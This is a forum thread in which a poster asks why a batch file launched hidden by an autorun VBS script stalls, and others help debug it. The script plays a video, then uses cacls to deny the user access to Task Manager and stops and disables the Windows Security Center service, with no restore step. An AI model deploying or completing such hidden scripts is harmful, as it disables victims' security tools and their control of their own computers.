Jump to content

batch stuck problem


G-Stress
 Share

Recommended Posts

For some reason I cannot figure out why this gets stuck

autorun.vbs

'=====================================...
Set WshShell = WScript.CreateObject("WScript.Shell")
obj = WshShell.Run(".run.bat", 0)
set WshShell = Nothing
'=====================================...

run.bat

@echo off


IF EXIST C:safety.txt GOTO END


::Play Video File
=================
gdputil.exe -runkill 30 vlc.exe -f --disable-screensaver --quiet Beta.wmv

:: Kill VLC
===========
taskkill /f /IM vlc.exe


:: Disable Task Manager
=======================
cacls c:windowssystem32taskmgr.exe /D %COMPUTERNAME%%USERNAME%

:: Disable Security Center
==========================
net stop wscsvc
sc config wscsvc start= disabled

exit

:END

echo random message

ping localhost -n 4 >nul

exit

It runs the video file, kills it after 30 seconds just like im wanting, but then gets stuck on cacls... nothing shows on the screen like im wanting, but I cannot figure out why it gets stuck. At least I assume it gets stuck because it doesn't disable taskmgr and in taskmgr I can see cacls and cmd running under the current username with 00 cpu usage on both.

whoops, guess I don't need the taskkill anymore using "gdputil.exe" it is a utility I found that kills vlc after a specified time limit. Seems to work better then sleep.exe in this case.

I know it does get to cacls though because I see it in taskmgr... anybody have any idea why it might get stuck?

Link to comment
Share on other sites

The autorun VBS part is ok. I created a bat file and used the vbs to run it hidden.

Did you test the bat file itself before calling it from the vbs file to see what errors your getting? Also, how do you reset access to taskmgr before it exits?

If anything returns asking for a response and the cmd windows is hidden it will sit wating for a response which you will never see nor be able to respond to. havent run your bat file by itself, but that is my guess.

Everything looks good except I can not tell what happens when "gdputil.exe -runkill 30 vlc.exe -f --disable-screensaver --quiet Beta.wmv" is run since I do not have those programs.

Link to comment
Share on other sites

@digip,

Sorry, I failed to mention, when executing the bat file without the vbs script it runs fine and everything does it's job. The only problem with that is the cmd window isn't hidden. I got the vbs script from your response on a different thread to this link:

http://answers.yahoo.com/question/index?qi...11212557AAofTy6

I got gdputil.exe from here:

http://www.watchdirectory.net/watchDir/GdPUtil.html

I haven't messed with it too much yet, but the -runkill options works perfectly for what I'm wanting. I'm not resetting taskmgr access i'm applying deny permission to the currently logged on user and it works fine except when run by the .vbs file then it stops at that point... guess I could comment out that part and try it and see what happens.

Link to comment
Share on other sites

Found out why I was gettings stuck, when running the taskmgr denier it asks am I sure Y or N. Now I thought there was a switch I could use via batch that would automatically answer Yes to any ?'s asked, I thought it was /s the silent switch. I tried that and it still acts as if I'm trying to use cacls switches at the end so I'm a bit stuck here.

C:Documents and SettingsG-Stress>cacls c:windowssystem32taskmgr.exe /D %use
rname%
Are you sure (Y/N)?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...